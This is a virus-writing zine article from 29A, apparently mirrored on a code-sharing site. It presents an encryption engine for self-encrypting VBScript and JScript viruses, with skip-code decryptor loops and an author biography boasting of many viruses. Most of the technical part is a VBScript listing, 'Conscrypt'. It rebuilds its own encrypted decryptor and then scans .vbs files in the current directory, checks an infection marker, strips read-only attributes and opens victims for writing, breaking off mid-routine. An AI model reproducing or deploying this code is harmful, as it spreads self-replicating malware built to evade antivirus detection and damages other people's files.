📄 29a-7.005
字号:
Self-crypting script files
roy g biv / 29A
About the author:
Former DOS/Win16 virus writer, author of several virus families, including
Ginger (see Coderz #1 zine for terrible buggy example, contact me for better
sources ;), and Virus Bulletin 9/95 for a description of what they called
Rainbow. Co-author of world's first virus using circular partition trick
(Orsam, coded with Prototype in 1993). Designer of world's first XMS swapping
virus (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is
swapped out). Author of world's first virus using Thread Local Storage for
replication (Shrug, see Virus Bulletin 6/02 for a description, but they call
it Chiton), world's first virus using Visual Basic 5/6 language extensions for
replication (OU812), world's first Native executable virus (Chthon), world's
first virus using process co-operation to prevent termination (Gemini, see
Virus Bulletin 9/02 for a description), world's first virus using polymorphic
SMTP headers (Junkmail, see Virus Bulletin 11/02 for a description), and
world's first viruses that can convert any data files to infectable objects
(Pretext). Author of various retrovirus articles (eg see Vlad #7 for the
strings that make your code invisible to TBScan). Went to sleep for a number
of years. I am awake now. ;)
Why not?
When thinking about the number of encrypted macro viruses, it is strange that
there are not so many encrypted script viruses. I have no answer for why it
is so. ;) Anyway, here I present a simple engine for encrypting VBScript and
JScript files. It uses a variable skip-code encryption with oligomorphic
decryptor. The cryptor supports variable spacing, random variable names,
random variable case, random keyword case (VBScript only), and variable
skip-codes with constant packet size. It can be used recursively, too.
How?
The difficulty of self-crypting scripts is because of needing the decrypted
source in order to encrypt it again. The problem is then how to get decrypted
source? There are two options here: the first is to rebuild the source at
runtime, but this is not always easy and we want a simple engine. The second
option is to decrypt the encrypted source, but this is easy only when the
structure is weak (easy to find and easy to parse). This second is the option
that we use here.
Skip-codes (constant)
Constant skip-code encryption is simply that our character is every nth
character in a string (s), where n is the value of the skip code. A plain
string has n equal to 1, so our character is every character in the string.
To encrypt is to increase the value of n, and fill the unused characters by
random values. First, n=1:
this is our string
Then n=2, and unused characters are set to !:
!t!h!i!s! !i!s! !o!u!r! !s!t!r!i!n!g
and is accessed by this VBScript code:
for i = n to len(s) step n
d = d + mid(s, i, 1)
next
or this JScript code:
d = ""
for (i = n - 1; i < s.length; i += n)
d = d + s.charAt(i)
Skip-codes (variable)
Variable skip-code encryption is also that our character is every nth byte in
a string, but now n can be a different value for every character. This is
implemented by storing the characters in "packets" which contain the value of
n. The packet size (p) can be either constant or variable. An example of
constant packet size (p=3), with n as the first character in each packet,
could look like this:
1t!2!h1i!2!s1 !2!i1s!2! 1o!2!u1r!2! 1s!2!t1r!2!i1n!2!g
In this example, the value of n alternates between 1 and 2. It is accessed by
this VBScript code:
for i = 1 to len(s) step p
d = d + mid(s, i + mid(s, i, 1), 1)
next
or this JScript code:
d = ""
for (i = 0; i < s.length; i += p)
d = d + s.charAt(i + (s.charAt(i) & 15))
"charAt(i) & 15" is fewer bytes than "charCodeAt(i) - 48", for same result.
Variable packet size can be implemented by also storing the packet size in the
packet. An example of variable packet size, with p as the first character in
each packet, and n as the second character in each packet, could look like
this:
32t!22h33!i22s32 !22i33!s22 32o!22u33!r22 32s!22t33!r22i32n!22g
In this example, the value of both p and n alternate between 2 and 3. It is
accessed by this VBScript code:
for i = 1 to len(s)
d = d + mid(s, i + mid(s, i + 1, 1), 1)
i = i + mid(s, i, 1)
next
or this JScript code:
d = ""
for (i = 0; i < s.length; i++)
{
d = d + s.charAt(i + (s.charAt(i + 1) & 15))
i = i + (s.charAt(i) & 15)
}
The value of p (at mid(s, i, 1)) is 1 less than the real packet size because
the for loop will increment i automatically.
And then...
No matter how good is the encryption, the weak link is the decryptor. If the
decryptor is extremely complex, or unique in some way, then no-one will bother
with the encrypted code and will simply detect the decryptor itself. In the
world of scripts, where encryption is more common, we can use a simple
decryptor with little risk, because some harmless ones might look like ours.
Also, this decryptor can be layered, but then it takes a long time to decrypt,
and only the first layer is variable.
Let's see the code. It requires only WSH v3+ because no new features are
used. First is VBScript version.
'Conscrypt - roy g biv 01/02/03
dim loff,newl
set fso=createobject("scripting.filesystemobject")
set file=fso.opentextfile(wscript.scriptfullname)
bann=file.readline
oldl=file.readline
file.close
randomize
dospc 1
rcase 8
v1=nvar
outch"("
v2=nvar
outch")" 'function aaaaa(bbbbb)
outch":"
rcase 3
v3=nvar
outch"="
outch"1"
rcase 2
rcase 3
outch"("
outv v2
outch")"
rcase 4
v5=mid(oldl,loff,1) 'old packet size
v6=int(rnd*7)+2 'new data size: 2-8
'if you do not use ! character, then line can be
'v6=int(rnd*7)+2 '1-8
outch cstr(v6+1) 'for ccccc=1 to len(bbbbb) step x
outch":"
v4=nvar
outch"="
rcase 4
outch"("
rcase 3
outch"("
outv v2
outch","
outv v3
outch","
outch"1"
outch")"
outch")" 'ddddd=cint(mid(bbbbb,ccccc,1))
outch":"
outv v1
outch"="
outv v1
outch"+"
rcase 3
outch"("
rcase 3
outch"("
rcase 3
outch"("
outv v2
outch","
outv v3
outch"+"
outv v4
outch","
outch"1"
outch")"
outch")"
outch"-"
outv v4
outch")" 'aaaaa=aaaaa+chr(asc(mid(bbbbb,ccccc+ddddd,1))-ddddd)
outch":"
rcase 4 'next
outch":"
rcase 3
rcase 8 'end function
outch":"
rcase 7
outch"("
outv v1
outch"("
outch chr(34)
cb=instr(mid(oldl,loff),chr(34))
for loff=loff to loff+cb-v5 step v5
oldkey=cint(mid(oldl,loff,1))
do
nkey=int(rnd*v6)+1
c=asc(mid(oldl,loff+oldkey,1))-oldkey+nkey
loop while c=34or c>127 'no " or 8-bit chars
newl=newl+cstr(nkey)
for kl=2to nkey
newl=newl+rchar
next
newl=newl+chr(c)
for kl=kl to v6
newl=newl+rchar
next
next
outch chr(34)
outch")"
outch")" 'execute(aaaaa("encrypted code"))
set dir=fso.getfolder(".") 'demo version, current directory only
for each item in dir.files
if lcase(fso.getextensionname(item))="vbs"then
err=0
set inf=fso.opentextfile(item,1) 'open potential victim
if err.number=0then
fst=inf.read(1) 'read first character
if fst<>"'"then 'check for infection marker
rest=inf.readall 'read entire file
attr=item.attributes 'save attributes
item.attributes=0 'remove any read-only attribute
err=0
set outf=fso.opentextfile(item,2) 'open file for writing
if err.number=0then
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -